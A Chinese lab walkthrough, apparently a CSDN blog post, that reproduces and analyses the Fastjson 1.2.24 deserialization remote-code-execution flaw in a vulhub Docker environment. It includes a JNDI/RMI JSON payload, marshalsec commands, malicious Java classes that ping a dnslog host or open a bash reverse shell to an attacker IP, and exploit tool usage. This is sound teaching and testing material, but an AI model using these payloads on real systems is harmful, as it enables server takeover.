Fastjson反序列化漏洞

开发者福利!热门AI工具限时免费用 购周边即赠Coding Plan Lite,Claude Code、Cursor等20+工具畅享,效率翻倍! 阅读详情

一、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
![[Pasted image 20240122202459.png]]

2、安装docker-compose

pip install docker-compose
![[Pasted image 20240122203114.png]]

3、gitvulhub镜像

git clone https://github.com/vulhub/vulhub.git
![[Pasted image 20240122203343.png]]

4、进入指定目录启动环境

cd vulhub/fastjson/1.2.24-rce
docker compose up -d
![[Pasted image 20240126050737.png]]

访问http://ip:8090
![[Pasted image 20240126050919.png]]

二、漏洞复现

1、复现过程

首先在dnslog获得一个dnslog
![[Pasted image 20240126052639.png]]

地址:http://www.dnslog.cn/
然后下载marshalsec
下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
在该文件同文件夹下创建一个TouchFile.java文件
内容如下

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
	static {
		try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"ping", "xxx.dnslog.cn(刚开始获取的dnslog)"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
 			// do nothing
 		}
 	}
}

使用javac命令将其编译为TouchFile.class文件
![[Pasted image 20240126051539.png]]

![[Pasted image 20240126051552.png]]

使用python3 -m http.server 任意端口(注意不要冲突)
![[Pasted image 20240126051737.png]]

开启marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1111(刚刚开放的端口)/#TouchFile" 9999

打开bp在靶场页面抓包
![[Pasted image 20240126052159.png]]

发送到repeater
将get请求修改为post请求
添加Content-Type: application/json和payload

{
	"b":{
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"rmi://ip:9999/TouchFile",
		"autoCommit":true
	}
}

![[Pasted image 20240126053123.png]]

点击发送
然后去dnslog查看有没有响应
![[Pasted image 20240126054307.png]]

成功
创建文件
将TouchFile.java文件内容修改为以下代码

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
	static {
		try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"touch", "/tmp/1111"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
 			// do nothing
 		}
 	}
}

然后编译成class文件,同样的操作发包
然后进入容器查看有没有创建成功
docker exec -it 容器id前四位 /bin/bash
![[Pasted image 20240126054955.png]]

成功
再来反弹一下shell
将TouchFile.java文件内容修改为以下代码

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
	static {
		try {
			Runtime r = Runtime.getRuntime();
			Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/6666 0>&1"});
			p.waitFor();
		} catch (Exception e) {
 			// do nothing
 		}
 	}
}

在kali开启监听
![[Pasted image 20240126082857.png]]

同样的操作,发包
![[Pasted image 20240126060333.png]]

成功

2、工具推荐

marshalsec
![[Pasted image 20240126051737.png]]

JNDI-Injection-Exploit
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit
使用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

FastjsonScan
下载地址:https://github.com/a1phaboy/FastjsonScan
![[Pasted image 20240126061708.png]]

BurpSuite插件 – FastjsonScan
下载地址:https://github.com/pmiaowu/BurpFastJsonScan
点击extender
![[Pasted image 20240126062250.png]]

点击add
![[Pasted image 20240126062319.png]]

点击select file
![[Pasted image 20240126062415.png]]

选择文件
![[Pasted image 20240126062559.png]]

然后点击next进行安装
安装成功
![[Pasted image 20240126062622.png]]

![[Pasted image 20240126062709.png]]

三、漏洞分析

利用链流程

![[Pasted image 20240126112136.png]]

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析
![[Pasted image 20240126105822.png]]

跟进parseField方法,对_bytecodes对应的内容进行解析
![[Pasted image 20240126105832.png]]

跟进FieldDeserializer#parseField方法
![[Pasted image 20240126105843.png]]

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
![[Pasted image 20240126105902.png]]

这里使用了set方法来设置_bytecodes的值
接着解析到_outputProperties的内容
![[Pasted image 20240126105914.png]]

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
![[Pasted image 20240126105925.png]]

跟进TemplatesImpl#getOutputProperties
![[Pasted image 20240126105936.png]]

跟进newTransformer方法
![[Pasted image 20240126105947.png]]

跟进getTransletInstance方法
![[Pasted image 20240126105957.png]]

这里通过defineTransletClasses创建了TEMPOC类并生成了实例
![[Pasted image 20240126110007.png]]

进而执行TEMPOC类的构造方法
![[Pasted image 20240126110015.png]]

所以就执行了任意代码

四、参考文章

https://blog.csdn.net/Bossfrank/article/details/130100893
https://blog.csdn.net/hackzkaq/article/details/135825310
https://www.cnblogs.com/nice0e3/p/14601670.html#0x03-fastjson-templatesimpl%E9%93%BE-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://xz.aliyun.com/t/8979?time__1311=n4%2BxuDgDBD90D%3DK0%3DG8DlxG2bm7KiIoEvNQeox&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-8

Fastjson反序列化 fastjson 阅读详情

相关推荐

代码审计-fastjsondnslog探测方式分析

前言 正常测试的时候,发现java后端对json处理都会去测试一下是否存在反序列化,但是后端处理json的组件很多,比如fastjson、jackson、gson等,怎么判断是否使用了fastjson呢? 有一个简便无危害的方式,就是通过dnslog来判断。 大佬们讨论的issue 说明 前面我们在分析的时候,会发现很多有一个变量token在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在com.alibaba.fastjson.parser.

cdyunaq的博客 2370

通过dnslog探测fastjson的几种方法

0x01 背景 在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。 昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇...

Adminxe的博客 9797

Fastjson漏洞的识别与DNSlog回显

Fastjson RCE漏洞实战POC探测方式

tpaer的博客 5822

什么是FastJson中AutoType反序列化漏洞?

文章目录频繁出现的反序列化漏洞parse()及parseObject()AutoType及安全校验AutoType安全校验AutoType黑名单机制SafeMode安全机制攻击思路反序列化攻击模拟TemplatesImpl攻击调用链路攻击类Translet生成构造攻击JSON串攻击模拟写在最后 频繁出现的反序列化漏洞 最近公司的小伙伴们收到了一波安全工单,因为FastJson存在高危漏洞,要求将FastJson版本号升级到1.2.69及以上 漏洞描述如下 在Fastjson<=1.2.68的版本中,

hosaos的博客 1万+

Fastjson 反序列化漏洞

fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞

Cover-3321的博客 7537

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

一直知道反序列化漏洞的大概原理和利用方式,但从来没有真正动手调试过,拿来主义终究不可取,于是就有了这篇文章,这里就以fastjson为例,为自己好好捋一捋,沉淀一下。 fastjson介绍 首先创建一个简单Student类: package fastjson; public class Student { private String name; private int age; public Student() { System.out.println("Stu

你和萤火虫有两个共同点,在我的眼里都会发光,同时,都已经很多年没见了 5765

Fastjson反序列化漏洞详解

fastjson介绍:fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。FastJson是啊里巴巴的的开源库,用与对JSON格式的数据进行解析和打包。速度快使用广泛测试完备使用简单功能完备JSON数据格式{"name":zy, "age":22, "flag":true, "gender":male, "address":cs}("key":value)

zhuyi666的博客 3417

fastjson反序列化漏洞原理

fastjson反序列化漏洞原理

m0_73649671的博客 1808

fastjson反序列化漏洞

文章目录一、fastjson 1.2.24反序列化漏洞1.1 漏洞简介1.1.1 漏洞阐述1.1.2 影响范围1.1.4 漏洞原理1.1.3 限制条件1.2 环境搭建1.3 漏洞利用1.4 防御建议二、fastjson 1.2.47反序列化漏洞 一、fastjson 1.2.24反序列化漏洞 1.1 漏洞简介 1.1.1 漏洞阐述   FastJson是alibaba开源的一款开源的高性能的JSON库,用于将java对象转换为json形式,也可以用来将json转换为java对象,很多公司都在使用,于201

Kevin's Blog 1万+

fastjson(autoType)反序列化漏洞

针对fastjson反序列化有关的安全问题。如果系统并非内部局域网使用,使用fastjson2并且不启用默认关闭的AutoType机制是最有效的安全做法。

qq_33163046的博客 2262

java安全】FastJson反序列化漏洞浅析

前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化JavaBean。

leekos的博客,分享web安全相关知识~ 2231

漏洞复现】Fastjson反序列化

Fastjson反序列化一、简介二、序列化与反序列化三、Fastjson漏洞介绍1、漏洞原理2、RMI3、JNDI4、JEP290四、编写的简单测试的环境五、漏洞版本1、fastjson<=1.2.241.1、TemplatesImpl 利用链分析1.2、JNDI利用链分析1.3、JNDI利用1.4、官方进行的修复2、fastjson<=1.2.413、fastjson<=1.2.424、fastjson<=1.2.455、fastjson<=1.2.476、1.2.48&lt

网络安全知识分享 6261

Fastjson反序列化漏洞:深入探讨与安全防范

通过本文的讲解,我们详细了解了Fastjson反序列化漏洞的原理、影响以及如何进行安全防范。Fastjson反序列化漏洞主要是由于Fastjson反序列化过程中,对输入数据的安全性验证不足,导致攻击者可以构造恶意JSON数据,触发反序列化操作,进而执行任意代码或命令。为了避免这类漏洞,可以采取升级Fastjson版本、禁用@type自动类型解析、使用白名单机制和输入验证等安全防范措施。希望本文能够帮助你更好地理解和应用Fastjson反序列化漏洞的安全防范。如果你有任何问题或需要进一步的解释,请随时提问。

xycxycooo的博客 2541

代码审计-fastjson反序列化漏洞

通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。查看pom文件确认使用fastjson组件(非maven项目去找jar,往往放在一个lib,比如webapp/web-inf/lib)-------查找反序列化函数------构造利用点如构造函数、get/set方法(需要public权限)、static静态代码块------利用验证。由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

SmileAndFun的博客 817

fastjson反序列化漏洞利用

漏洞利用环境和payload参考君来自:环境搭建注意点:配置一个好的镜像源。fastjson docker环境启动和关闭。

weixin_44414845的博客 1904

FastJson 反序列化漏洞原理分析

FastJson 反序列化漏洞原理分析FastJson 简介漏洞原理FastJson 序列化操作序列化反序列化调用链分析原理利用过程分析RMI 的实现JNDI服务器端代码构造总结1. fastjson 利用过程2. 恶意类怎么上传到服务端3. fastjson rce的原理参考 FastJson 简介 fastjson框架下载:https://github/alibaba/fastjson fastjson-jndi 下载:https://github.com/earayu/fastjson_jndi_po

buffedon的博客 9966

Fastjson反序列化漏洞利用原理和POC

0x01 前言 FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化Java Bean。Fastjson应用范围非常广,在github上star数超过22k。2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。2020年6月1日 fastjson爆发新的反序列化远程代码执行漏洞,fastjso

u012990687的专栏 1万+
上一篇: Struts2漏洞
下一篇: log4j反序列化漏洞
fgzymrszyz
博客等级 码龄4年 62粉丝 5原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值